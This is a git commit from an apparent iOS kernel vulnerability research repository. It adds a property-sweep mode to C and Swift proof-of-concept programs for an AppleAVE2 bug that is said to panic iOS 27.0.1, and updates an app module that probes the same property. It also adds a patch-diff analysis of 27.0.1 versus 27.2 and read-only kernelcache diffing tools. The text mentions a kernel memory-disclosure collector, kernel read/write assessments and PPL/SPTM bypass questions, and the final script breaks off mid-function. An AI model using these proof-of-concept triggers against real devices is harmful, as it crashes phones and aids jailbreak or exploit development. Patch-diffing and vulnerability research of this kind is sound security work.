iOS 27.2 kernel differential + NTL fix-boundary sweep
- docs/IOS27.2-KERNEL-DIFF.md: 27.0.1 vs 27.2 (iPhone19,7), 162 advisory CVEs, 93 size-changed kexts; confirmed fix sites for 112705 (NTL 0..7 assertion), 113910 (produced vs expected chunk bytes), 112507 (ipr/table NULL checks in ipc_misc.c); __DATA_SPTM byte-identical, no PPL/SPTM/MIE code change or bypass fix - tools/ipsw/: Range-based IPSW reader, IM4P/LZFSE + fileset parser, kext extractor, llvm-objdump diff, advisory mapper - CVE-2026-112705: --sweep mode (0..12, no frame) in both POCs; app module now sweeps 0/1/7/8/64/1024/16462/16463 - app 2.3 build 7
This commit is contained in:
1 parent
030df9a8b1
commit
3ac5108928
15 files changed
+957
-4
No files matched your search
@@ -15,6 +15,7 @@
|
||||
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
|
||||
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
|
||||
// Run: ./cve-2026-112705 [layers] [--force-host]
|
||||
// ./cve-2026-112705 --sweep (property acceptance 0..12, no frame)
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -54,8 +55,10 @@ static void print_readback(VTCompressionSessionRef s, const char *key) {
|
||||
int main(int argc, char **argv) {
|
||||
int layers = 16463;
|
||||
int force_host = 0;
|
||||
int sweep = 0;
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
|
||||
else if (strcmp(argv[i], "--sweep") == 0) sweep = 1;
|
||||
else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
|
||||
}
|
||||
|
||||
@@ -76,6 +79,21 @@ int main(int argc, char **argv) {
|
||||
set_prop(session, "RealTime", kCFBooleanFalse);
|
||||
printf("EncoderUsage=%d RCMode=%d\n", su, sr);
|
||||
|
||||
if (sweep) {
|
||||
// 27.2 clamps the property to 0..7 (the new assertion string is
|
||||
// "iNumberOfTemporalLayers <= 7"); 27.0/27.0.1 accepts the whole range.
|
||||
printf("sweep: NTL acceptance 0..12 (no frame submitted)\n");
|
||||
for (int n = 0; n <= 12; n++) {
|
||||
CFNumberRef nv = CFNumberCreate(NULL, kCFNumberIntType, &n);
|
||||
int32_t st = set_prop(session, "NumberOfTemporalLayers", nv);
|
||||
CFRelease(nv);
|
||||
printf("NTL %2d: status=%d\n", n, st);
|
||||
}
|
||||
VTCompressionSessionInvalidate(session);
|
||||
CFRelease(session);
|
||||
return 0;
|
||||
}
|
||||
|
||||
CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
|
||||
int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
|
||||
CFRelease(n);
|
||||
|
||||
@@ -11,6 +11,7 @@
|
||||
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
|
||||
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo
|
||||
// Run: ./cve-2026-112705 [layers] [--force-host] default 16463
|
||||
// ./cve-2026-112705 --sweep property acceptance 0..12, no frame
|
||||
|
||||
import Foundation
|
||||
import VideoToolbox
|
||||
@@ -19,6 +20,7 @@ import CoreVideo
|
||||
|
||||
let args = CommandLine.arguments
|
||||
let forceHost = args.contains("--force-host")
|
||||
let sweep = args.contains("--sweep")
|
||||
let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
|
||||
|
||||
func fourCC(_ v: OSStatus) -> String {
|
||||
@@ -63,6 +65,17 @@ print("EncoderUsage=\(su) RCMode=\(sr)")
|
||||
let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
|
||||
print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
|
||||
|
||||
if sweep {
|
||||
// 27.2 clamps to 0...7; 27.0/27.0.1 accepts the full range.
|
||||
print("sweep: NTL acceptance 0...12 (no frame submitted)")
|
||||
for n in 0...12 {
|
||||
let st = set(s, "NumberOfTemporalLayers", NSNumber(value: n))
|
||||
print("NTL \(n): status=\(st)")
|
||||
}
|
||||
VTCompressionSessionInvalidate(s)
|
||||
exit(0)
|
||||
}
|
||||
|
||||
if sn != 0 {
|
||||
print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
|
||||
VTCompressionSessionInvalidate(s)
|
||||
|
||||
BIN
Binary file not shown.
@@ -131,7 +131,7 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator)
|
||||
python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
|
||||
```
|
||||
|
||||
Device install: bundle id `com.jbjf.cinder27` (v2.2 build 6), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
|
||||
Device install: bundle id `com.jbjf.cinder27` (v2.3 build 7), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
|
||||
|
||||
## Verification status
|
||||
|
||||
@@ -145,6 +145,8 @@ Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSES
|
||||
|
||||
112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md).
|
||||
|
||||
**iOS 27.2 firmware diff (27.0.1 vs 27.2, iPhone19,7):** [docs/IOS27.2-KERNEL-DIFF.md](docs/IOS27.2-KERNEL-DIFF.md). The update carries 162 advisory CVEs; 93 of 303 common kexts changed text size. Confirmed fix sites: 112705 clamps `NumberOfTemporalLayers` to 0…7 (`iNumberOfTemporalLayers <= 7` assertion), 113910 adds `chunk %u produced %lld of %lld expected bytes`, 112507 adds `ipr != NULL` / `table != NULL` in `ipc_misc.c`. `__DATA_SPTM` is byte-identical across both builds; the PPL/SPTM/MIE string and code surface is unchanged, so no bypass for those three is fixed in 27.2.
|
||||
|
||||
## Module semantics
|
||||
|
||||
- **tier 1** — direct primitive hit (OOB write / UAF / type confusion); the crash is the evidence
|
||||
|
||||
+3
-1
@@ -130,7 +130,7 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器
|
||||
python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致)
|
||||
```
|
||||
|
||||
设备安装:bundle id `com.jbjf.cinder27`(v2.2 build 6),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
|
||||
设备安装:bundle id `com.jbjf.cinder27`(v2.3 build 7),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
|
||||
|
||||
## 验证状态
|
||||
|
||||
@@ -144,6 +144,8 @@ armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃
|
||||
|
||||
112507 的可达性已在目标机(iPhone19,7 / iOS 27.0.1)上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测:`mach_port_request_notification` 在所有类型/权限组合上都返回 -300(MIG_TYPE_ERROR),12,288 次注册 0 次成功。请求表从未被武装,因此无特权 app 触达不到该竞态;此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。
|
||||
|
||||
**iOS 27.2 固件 diff(27.0.1 vs 27.2,iPhone19,7):** [docs/IOS27.2-KERNEL-DIFF.md](docs/IOS27.2-KERNEL-DIFF.md)。本次更新含 162 条公告 CVE;303 个共有 kext 中 93 个 `__TEXT_EXEC` 尺寸变化。已确认的修复点:112705 把 `NumberOfTemporalLayers` 收紧到 0…7(断言 `iNumberOfTemporalLayers <= 7`),113910 新增 `chunk %u produced %lld of %lld expected bytes`,112507 在 `ipc_misc.c` 新增 `ipr != NULL` / `table != NULL`。`__DATA_SPTM` 两版字节完全一致,PPL/SPTM/MIE 的字符串与代码面没有变化 —— 27.2 没有修这三个 bypass。
|
||||
|
||||
## 模块语义
|
||||
|
||||
- **tier 1** — 直接原语命中(OOB 写 / UAF / 类型混淆),崩溃即证据
|
||||
|
||||
@@ -54,12 +54,12 @@ extension Catalog {
|
||||
lines.append("EncoderUsage=\(su) RCMode=\(sr)")
|
||||
|
||||
var accepted: [Int] = []
|
||||
for n in [64, 1024, 16462, 16463] {
|
||||
for n in [0, 1, 7, 8, 64, 1024, 16462, 16463] {
|
||||
let st = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: n))
|
||||
lines.append("NTL \(n): status=\(st) readback: \(aveRead(s, "NumberOfTemporalLayers"))")
|
||||
if st == 0 { accepted.append(n) }
|
||||
}
|
||||
ctx.disarm("ave.ntl", "accepted=\(accepted.count)/4")
|
||||
ctx.disarm("ave.ntl", "accepted=\(accepted.count)/8")
|
||||
let verdict: String
|
||||
if accepted.contains(16463) {
|
||||
verdict = tl("16463 被接受 —— 该构建的设备在 fire 时会 panic")
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
# iOS 27.2 kernel differential — 27.0.1 vs 27.2 (iPhone19,7)
|
||||
|
||||
Scope: the iOS 27.2 security update (24B119) against 27.0.1 (24A446) for iPhone 18
|
||||
Pro Max (`iPhone19,7`). The question: what does the update actually change in the
|
||||
kernel, which of the 162 advisory CVEs can be tied to a fix site, and does anything
|
||||
in the diff look like a PPL / SPTM / MIE bypass.
|
||||
|
||||
## How the images were obtained
|
||||
|
||||
Both restore images are the production IPSWs from Apple's CDN:
|
||||
|
||||
| Build | Version | Size | Kernelcache member |
|
||||
|---|---|---|---|
|
||||
| 24A446 | 27.0.1 | 12,728,434,807 B | `kernelcache.release.v6x-pandia` |
|
||||
| 24B119 | 27.2 | 13,722,855,612 B | `kernelcache.release.v6x-pandia` |
|
||||
|
||||
The kernelcache was pulled straight out of the ZIP with HTTP Range requests, so the
|
||||
analysis did not wait for the full 26 GB. The container is IM4P; the payload is LZFSE.
|
||||
|
||||
| Build | Kernelcache (decoded) | SHA-256 (first 16) |
|
||||
|---|---|---|
|
||||
| 27.0.1 | 78,315,520 B | `dec73956a9a443c5` |
|
||||
| 27.2 | 79,167,488 B | `9a6efbc4be67319a` |
|
||||
|
||||
Both are `MH_FILESET` images with a `__DATA_SPTM` segment, carrying 303 (27.0.1) and
|
||||
305 (27.2) fileset entries. Two kexts are new: `com.apple.driver.ApplePencilDriver`,
|
||||
`com.apple.iokit.AppleSecurityResearch`; none were removed.
|
||||
|
||||
## Reading the diff
|
||||
|
||||
Raw text-segment hashes are useless here: the fileset is relinked, so branch
|
||||
displacements and absolute literal pools move in almost every kext even when the
|
||||
code is unchanged. The diff therefore keys on:
|
||||
|
||||
1. `__TEXT_EXEC` size change (layout-independent),
|
||||
2. `__cstring` / `__oslogstring` set difference (new checks usually add a message),
|
||||
3. `llvm-objdump` instruction diff for the kexts that survive both filters.
|
||||
|
||||
93 of 303 common kexts changed text size. The largest are the ones the advisory
|
||||
points at:
|
||||
|
||||
| Delta | Kext | Advisory component |
|
||||
|---|---|---|
|
||||
| +115,472 | `com.apple.driver.ASIOKit` | IOKit / audio |
|
||||
| +39,624 | `com.apple.driver.AppleH16ANEInterface` | Apple Neural Engine |
|
||||
| +29,376 | `com.apple.kernel` | Kernel |
|
||||
| +16,080 | `com.apple.driver.AppleAVE2` | AVEVideoEncoder |
|
||||
| +9,572 | `com.apple.driver.FairPlayIOKit` | Security |
|
||||
| +9,316 | `com.apple.driver.AppleDisplayCrossbar` | IOMobileFrameBuffer |
|
||||
| +8,304 | `com.apple.AGXG19P` | GPU |
|
||||
| +4,712 | `com.apple.driver.AppleMobileDispH19P-DCP` | IOMobileFrameBuffer |
|
||||
| +4,480 | `com.apple.driver.RTBuddy` | Kernel / RTKit |
|
||||
| +4,152 | `com.apple.driver.AppleSARService` | Kernel |
|
||||
|
||||
## Fix sites that are confirmed by strings
|
||||
|
||||
### CVE-2026-112705 — AppleAVE2 temporal layers
|
||||
|
||||
27.2 adds the upper bound that 27.0.1 lacks:
|
||||
|
||||
```
|
||||
number of temporal layers (prop) is out of range %d %d %d
|
||||
0 <= pInfo->uPropCfg.sHEVC.iNumberOfTemporalLayers
|
||||
&& pInfo->uPropCfg.sHEVC.iNumberOfTemporalLayers <= 7
|
||||
0 < pInfo->sSessionCfg.sEnc.sAlgCfg.sGOP.iNumOfTemporalLayer
|
||||
&& (... <= 7)
|
||||
AVE_HEVC_CheckVPSExtBounds
|
||||
HEVC VPS vps_max_layers_minus1 is out of range
|
||||
HEVC VPS layer_id_in_nuh is out of range
|
||||
HEVC VPS layer-set total is out of range
|
||||
```
|
||||
|
||||
The property is now clamped to **0…7**. The trigger in the 27.0.1 dossier
|
||||
(`NumberOfTemporalLayers = 16463`, first frame → AppleAVE2 +0xDA78) is exactly the
|
||||
value this assertion rejects. A `--sweep` mode was added to both POCs: it sets
|
||||
0…12 and submits no frame. On macOS 27.0 it accepts 1…12 (and 16463); on 27.2 the
|
||||
>7 rungs must return an error.
|
||||
|
||||
### CVE-2026-113910 — decmpfs chunked zlib
|
||||
|
||||
27.2 adds the produced-vs-expected check in
|
||||
`AppleFSCompression/Common/ChunkCompression.cpp`:
|
||||
|
||||
```
|
||||
%s:%d: chunk %u produced %lld of %lld expected bytes
|
||||
```
|
||||
|
||||
That is the exact under-production condition the leak harness drives. The C POC's
|
||||
`--loop` / `--keep` collector now sits on a documented fix site.
|
||||
|
||||
### CVE-2026-112507 — ipc_port request table
|
||||
|
||||
27.2 adds the checks the 27.0.1 code was missing:
|
||||
|
||||
```
|
||||
ipr != ((void*)0)
|
||||
table != ((void*)0)
|
||||
ipc_misc.c
|
||||
```
|
||||
|
||||
This is a **NULL-check fix**, not a reclaimable-object fix. It matches the device
|
||||
result already recorded: `mach_port_request_notification` returns -300
|
||||
(MIG_TYPE_ERROR) for every type/right combination, 0 of 12,288 registrations armed,
|
||||
so the request-table path is never entered from an unentitled app.
|
||||
|
||||
### Other kernel changes
|
||||
|
||||
The core kernel gains 62 meaningful strings (build paths and UUIDs excluded). The
|
||||
security-relevant ones:
|
||||
|
||||
- `VM entry %p lock shared lock overflow` — a new vm_map lock-overflow panic,
|
||||
consistent with the COW / vm_map CVEs (112474 / 112576).
|
||||
- `Page modified after framebank withdraw %p` — page-lifecycle check.
|
||||
- `size <= sdl->sdl_alen` — sockaddr_dl bounds check in the network stack.
|
||||
- `speculative_pages_freed` / `_demoted` / `_requeued_inactive` — pageout counters.
|
||||
- `FilterDropBadDirection`, `nx_netif_filter_pkt_to_mbuf`, `pktap != NULL`,
|
||||
`ret == TB_ERROR_SUCCESS` — network filter validation.
|
||||
- `ipr != NULL`, `table != NULL`, `ipc_misc.c` — the 112507 fix.
|
||||
- New entitlements: `com.apple.private.verified-jit-mode`,
|
||||
`com.apple.private.vfs.unmunged-access-time`, `com.apple.security.cs.debugger`.
|
||||
|
||||
These line up with the 15 Kernel entries in the advisory (UAF, OOB read/write, race,
|
||||
type confusion, COW integrity, kernel-layout disclosure). The advisory does not
|
||||
assign individual functions, so the mapping above is evidence-based, not a
|
||||
per-CVE signature.
|
||||
|
||||
## PPL / SPTM / MIE
|
||||
|
||||
This is the part the request specifically asked to dig into.
|
||||
|
||||
- `__DATA_SPTM` is **byte-identical** in both builds: 311,296 bytes, SHA-256
|
||||
`f4bc1e5e95f61af5…`. No SPTM code or data changed.
|
||||
- The PPL token strings (`UAT_PPL_IOCTL_*`, `PPL map operation failed`,
|
||||
`PPL state object`) are unchanged; no new PPL checks or messages.
|
||||
- No MIE / Memory Integrity / mtag / page-protection strings were added or removed.
|
||||
- The only SPTM-related additions are boot-time memory-size validation:
|
||||
`memsize=%u MB leaves no memory for XNU/SPTM to manage`, `Mismatch of
|
||||
ARM_LARGE_MEMORY in SPTM/XNU`, and iBoot DRAM-size checks. These are
|
||||
configuration checks, not a permission bypass.
|
||||
- The 27.2 advisory contains no component named PPL, SPTM, MIE, or Page Protection,
|
||||
and no CVE description mentions them.
|
||||
|
||||
**Verdict: no PPL, SPTM, or MIE bypass is fixed in iOS 27.2, and the firmware diff
|
||||
shows no change in the SPTM/PPL/MIE code paths.** A bypass PoC for any of the three
|
||||
would have to come from a different bug, not from this update. The kernel CVEs with
|
||||
"write kernel memory" impacts are ordinary kernel memory-safety bugs; none of them
|
||||
is a page-table / monitor bypass on its own, and exploiting one would still have to
|
||||
defeat SPTM/PPL/MIE at runtime.
|
||||
|
||||
## What can be turned into a PoC
|
||||
|
||||
| CVE | Primitive | PoC status |
|
||||
|---|---|---|
|
||||
| 2026-112705 | fixed-offset constant fill in AppleAVE2 | existing Swift/C POC + new `--sweep`; kernel panic on 27.0.1, property refused on 27.2 |
|
||||
| 2026-113910 | kernel heap disclosure through decmpfs | existing C collector (`--loop`, `--keep`, pointer classes); read-only |
|
||||
| 2026-112507 | request-table NULL check / race | existing harness; unreachable from an unentitled app (-300) |
|
||||
| 2026-112696 | ANE validation, +39 KB | no trigger in the diff; ANE kext strings show resource/scheduler validation, not a user-reachable entry |
|
||||
| 2026-65385 | IOHIDEvent fixed-offset write | IOHIDFamily grew only 236 B (+ `TCCService`); the advisory's IOKit fix is likely in the userland IOKit.framework (DSC), not this kext |
|
||||
| other Kernel CVEs | UAF/OOB/race | fix sites visible as strings, but no trigger or reclaim strategy; writing a PoC would be guesswork |
|
||||
|
||||
The WebKit, ImageIO, CoreMedia and other userland components live in the dyld shared
|
||||
cache inside the root filesystem image, which is not part of the ZIP's plain files;
|
||||
those were not diffed here.
|
||||
|
||||
## Reproduce
|
||||
|
||||
```bash
|
||||
python3 tools/ipsw/remote_ipsw.py extract <ipsw-url> kernelcache work/kernel/27.2.im4p
|
||||
python3 tools/ipsw/ipswlib.py kernel ... # decode + list
|
||||
python3 tools/ipsw/extract_kext.py work/kernel/27.2.kernel \
|
||||
work/kernel/27.2-entries.json com.apple.driver.AppleAVE2 out.macho
|
||||
python3 tools/ipsw/disasm_diff.py a.macho b.macho
|
||||
```
|
||||
|
||||
The tools are read-only: no device is touched, and no firmware is modified.
|
||||
@@ -87,6 +87,10 @@ harness was measuring port churn, not the bug. The published fix shape (NULL che
|
||||
on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a
|
||||
reclaimable object.
|
||||
|
||||
**27.2 firmware confirmation (2026-10-31):** the 27.2 kernel adds `ipr != NULL` /
|
||||
`table != NULL` in `ipc_misc.c` — a NULL-check fix, not a reclaimable-object fix.
|
||||
The 27.0.1/27.2 kernelcache diff is in [IOS27.2-KERNEL-DIFF.md](IOS27.2-KERNEL-DIFF.md).
|
||||
|
||||
**Verdict: closed for this app.** The remaining hypothetical is a platform process
|
||||
that is allowed to register notifications; that is outside Cinder27's reach.
|
||||
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
# IPSW kernel-diff toolkit
|
||||
|
||||
Read-only helpers used for the 27.0.1 → 27.2 kernel comparison in
|
||||
[`docs/IOS27.2-KERNEL-DIFF.md`](../../docs/IOS27.2-KERNEL-DIFF.md).
|
||||
|
||||
| Script | Purpose |
|
||||
|---|---|
|
||||
| `remote_ipsw.py` | HTTP-Range ZIP reader: list/extract a member without downloading the whole IPSW |
|
||||
| `ipswlib.py` | IM4P/LZFSE decode, Mach-O/fileset parse, cstring extraction |
|
||||
| `extract_kext.py` | dump one fileset entry as a standalone Mach-O (linkedit offsets rebased) |
|
||||
| `disasm_diff.py` | normalized `llvm-objdump` instruction diff for two kexts |
|
||||
| `diff_kernel.py` | kext-level diff (bundle id, size, strings, function hashes) |
|
||||
| `map_advisory.py` | advisory CVE list → component/binary candidate table |
|
||||
|
||||
Requirements: Python 3, `pip install lzfse macholib`, Xcode command line tools
|
||||
(`llvm-objdump`). Nothing writes to a device.
|
||||
@@ -0,0 +1,163 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Diff two prelinked kernelcaches (27.0.1 vs 27.2) at kext and function level.
|
||||
|
||||
Usage:
|
||||
python3 diff_kernel.py <a.ipsw> <a-member> <b.ipsw> <b-member> [outdir]
|
||||
|
||||
Outputs:
|
||||
kexts.json per-kext uuid/text hash/bundle id for both builds
|
||||
changed.txt human-readable summary
|
||||
strings-<id>.txt string adds/removes for changed kexts
|
||||
"""
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
import ipswlib
|
||||
|
||||
|
||||
def ascii_strings(data, minlen=6):
|
||||
out = []
|
||||
cur = bytearray()
|
||||
for b in data:
|
||||
if 32 <= b < 127:
|
||||
cur.append(b)
|
||||
else:
|
||||
if len(cur) >= minlen:
|
||||
out.append(cur.decode("ascii", "ignore"))
|
||||
cur = bytearray()
|
||||
if len(cur) >= minlen:
|
||||
out.append(cur.decode("ascii", "ignore"))
|
||||
return out
|
||||
|
||||
|
||||
BID_RE = re.compile(r"^com\.apple\.[A-Za-z0-9_.-]{4,}$")
|
||||
|
||||
|
||||
def bundle_id(m):
|
||||
"""Heuristic: the kext identifier is the longest com.apple.* string in __TEXT."""
|
||||
cands = [s for s in ascii_strings(m.text_bytes()) if BID_RE.match(s)]
|
||||
cands.sort(key=lambda s: (-s.count("."), -len(s)))
|
||||
return cands[0] if cands else None
|
||||
|
||||
|
||||
def func_hashes(m):
|
||||
starts = m.function_offsets()
|
||||
text = m.text_bytes()
|
||||
t = m.text_segment()
|
||||
out = []
|
||||
for i, addr in enumerate(starts):
|
||||
end = starts[i + 1] if i + 1 < len(starts) else t["vmaddr"] + t["vmsize"]
|
||||
off = m.vm_to_file(addr)
|
||||
endoff = m.vm_to_file(end)
|
||||
if off is None or endoff is None or endoff < off:
|
||||
continue
|
||||
chunk = m.data[off:endoff]
|
||||
out.append((addr, hashlib.sha256(chunk).hexdigest()[:16], len(chunk)))
|
||||
return out
|
||||
|
||||
|
||||
def load(ipsw, member):
|
||||
data = ipswlib.read_kernelcache(ipsw, member)
|
||||
ms = ipswlib.scan_machos(data)
|
||||
rows = []
|
||||
for m in ms:
|
||||
rows.append({
|
||||
"uuid": m.uuid,
|
||||
"cpu": ipswlib.CPU_NAMES.get(m.cputype, hex(m.cputype)),
|
||||
"bid": bundle_id(m),
|
||||
"text_sha": hashlib.sha256(m.text_bytes()).hexdigest()[:16],
|
||||
"text_size": len(m.text_bytes()),
|
||||
"nfuncs": len(m.function_offsets()) if m.function_starts else 0,
|
||||
"_m": m,
|
||||
})
|
||||
return data, rows
|
||||
|
||||
|
||||
def main():
|
||||
a_ipsw, a_mem, b_ipsw, b_mem = sys.argv[1:5]
|
||||
outdir = sys.argv[5] if len(sys.argv) > 5 else "work/kernel-diff"
|
||||
os.makedirs(outdir, exist_ok=True)
|
||||
|
||||
print("== extracting", a_mem)
|
||||
a, ra = load(a_ipsw, a_mem)
|
||||
print("== extracting", b_mem)
|
||||
b, rb = load(b_ipsw, b_mem)
|
||||
|
||||
def index(rows):
|
||||
by_bid = {}
|
||||
no_bid = []
|
||||
for r in rows:
|
||||
if r["bid"]:
|
||||
by_bid.setdefault(r["bid"], []).append(r)
|
||||
else:
|
||||
no_bid.append(r)
|
||||
return by_bid, no_bid
|
||||
|
||||
ia, na = index(ra)
|
||||
ib, nb = index(rb)
|
||||
|
||||
changed, added, removed, same = [], [], [], []
|
||||
for bid in sorted(set(ia) | set(ib)):
|
||||
la = ia.get(bid, [])
|
||||
lb = ib.get(bid, [])
|
||||
if la and lb:
|
||||
# pair in order; usually one Mach-O per kext
|
||||
for x, y in zip(la, lb):
|
||||
if x["uuid"] == y["uuid"] and x["text_sha"] == y["text_sha"]:
|
||||
same.append(bid)
|
||||
else:
|
||||
changed.append((bid, x, y))
|
||||
elif la:
|
||||
removed += [bid]
|
||||
else:
|
||||
added += [bid]
|
||||
|
||||
lines = []
|
||||
lines.append(f"kexts: a={len(ra)} b={len(rb)} same={len(same)} changed={len(changed)} added={len(added)} removed={len(removed)}")
|
||||
lines.append("")
|
||||
for bid, x, y in changed:
|
||||
lines.append(f"CHANGED {bid}: uuid {x['uuid']} -> {y['uuid']} text {x['text_size']} -> {y['text_size']} funcs {x['nfuncs']} -> {y['nfuncs']}")
|
||||
for bid in added:
|
||||
lines.append(f"ADDED {bid}")
|
||||
for bid in removed:
|
||||
lines.append(f"REMOVED {bid}")
|
||||
open(os.path.join(outdir, "changed.txt"), "w").write("\n".join(lines) + "\n")
|
||||
print("\n".join(lines[:80]))
|
||||
|
||||
# string + function diff for changed kexts
|
||||
for bid, x, y in changed:
|
||||
ma = x["_m"]
|
||||
mb = y["_m"]
|
||||
sa = set(ascii_strings(ma.text_bytes(), 8))
|
||||
sb = set(ascii_strings(mb.text_bytes(), 8))
|
||||
new = sorted(sb - sa)
|
||||
gone = sorted(sa - sb)
|
||||
safe = bid.replace("/", "_")
|
||||
with open(os.path.join(outdir, f"strings-{safe}.txt"), "w") as f:
|
||||
f.write(f"# {bid}\n## new strings ({len(new)})\n")
|
||||
for s in new[:400]:
|
||||
f.write(s + "\n")
|
||||
f.write(f"\n## removed strings ({len(gone)})\n")
|
||||
for s in gone[:200]:
|
||||
f.write(s + "\n")
|
||||
fa = func_hashes(ma)
|
||||
fb = func_hashes(mb)
|
||||
changed_funcs = sum(1 for p, q in zip(fa, fb) if p[1] != q[1])
|
||||
lines.append(f" {bid}: functions {len(fa)} -> {len(fb)}, hash-changed in common prefix {changed_funcs}")
|
||||
|
||||
open(os.path.join(outdir, "changed.txt"), "w").write("\n".join(lines) + "\n")
|
||||
json.dump([
|
||||
{"bid": bid, "a": {k: v for k, v in x.items() if not k.startswith("_")},
|
||||
"b": {k: v for k, v in y.items() if not k.startswith("_")}}
|
||||
for bid, x, y in changed
|
||||
], open(os.path.join(outdir, "kexts-changed.json"), "w"), indent=1)
|
||||
print("wrote", outdir)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,54 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Disassembly diff for two standalone Mach-O kexts (same bundle id, two builds).
|
||||
|
||||
Usage: python3 disasm_diff.py <a.macho> <b.macho> [max_lines]
|
||||
Normalizes branch targets and absolute addresses so the diff shows real
|
||||
instruction changes rather than layout noise.
|
||||
"""
|
||||
import difflib
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
ADDR = re.compile(r"\b[0-9a-f]{8,16}\b")
|
||||
|
||||
|
||||
def disasm(path):
|
||||
p = subprocess.run(["xcrun", "llvm-objdump", "--disassemble", path],
|
||||
capture_output=True, text=True)
|
||||
lines = []
|
||||
for line in p.stdout.splitlines():
|
||||
m = re.match(r"^\s*([0-9a-f]{8,16}):\s+([0-9a-f ]+?)\s{2,}(\S.*)$", line)
|
||||
if not m:
|
||||
continue
|
||||
ins = m.group(3).strip()
|
||||
ins = re.sub(r"0x[0-9a-f]{6,}", "0xADDR", ins)
|
||||
ins = re.sub(r"#0x[0-9a-f]{4,}", "#0xIMM", ins)
|
||||
lines.append(ins)
|
||||
return lines
|
||||
|
||||
|
||||
def main():
|
||||
a, b = sys.argv[1], sys.argv[2]
|
||||
limit = int(sys.argv[3]) if len(sys.argv) > 3 else 400
|
||||
la, lb = disasm(a), disasm(b)
|
||||
print(f"# {a}: {len(la)} insns")
|
||||
print(f"# {b}: {len(lb)} insns")
|
||||
sm = difflib.SequenceMatcher(a=la, b=lb, autojunk=False)
|
||||
shown = 0
|
||||
for tag, i1, i2, j1, j2 in sm.get_opcodes():
|
||||
if tag == "equal":
|
||||
continue
|
||||
if shown >= limit:
|
||||
print("... truncated")
|
||||
break
|
||||
print(f"\n## {tag} a[{i1}:{i2}] b[{j1}:{j2}]")
|
||||
for x in la[i1:i2][:14]:
|
||||
print(" - " + x)
|
||||
for x in lb[j1:j2][:14]:
|
||||
print(" + " + x)
|
||||
shown += 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,67 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Extract one fileset entry (kext) from a kernelcache into a standalone Mach-O.
|
||||
|
||||
Usage: python3 extract_kext.py <kernel> <entries.json> <bundle-id> <out.macho>
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import struct
|
||||
import sys
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
import ipswlib
|
||||
|
||||
LC_SEGMENT_64 = 0x19
|
||||
|
||||
|
||||
def extract(data, off, out):
|
||||
m = ipswlib.MachO(data, off)
|
||||
end = 32 + m.sizeofcmds
|
||||
for s in m.segments:
|
||||
base = s["fileoff"] if s["fileoff"] >= off else off + s["fileoff"]
|
||||
end = max(end, base + s["filesize"])
|
||||
blob = bytearray(data[off:end])
|
||||
|
||||
o = 32
|
||||
for _ in range(m.ncmds):
|
||||
cmd, cmdsize = struct.unpack_from("<II", blob, o)
|
||||
if cmd == LC_SEGMENT_64:
|
||||
# segment_command_64: cmd8 cmdsize8 segname16 vmaddr8 vmsize8 fileoff8 ...
|
||||
fileoff = struct.unpack_from("<Q", blob, o + 40)[0]
|
||||
if fileoff >= off:
|
||||
struct.pack_into("<Q", blob, o + 40, fileoff - off)
|
||||
nsects = struct.unpack_from("<I", blob, o + 64)[0]
|
||||
so = o + 72
|
||||
for _s in range(nsects):
|
||||
soff = struct.unpack_from("<I", blob, so + 48)[0]
|
||||
if soff >= off:
|
||||
struct.pack_into("<I", blob, so + 48, soff - off)
|
||||
so += 80
|
||||
elif cmd == 0x2: # LC_SYMTAB
|
||||
for f in (8, 16):
|
||||
v = struct.unpack_from("<I", blob, o + f)[0]
|
||||
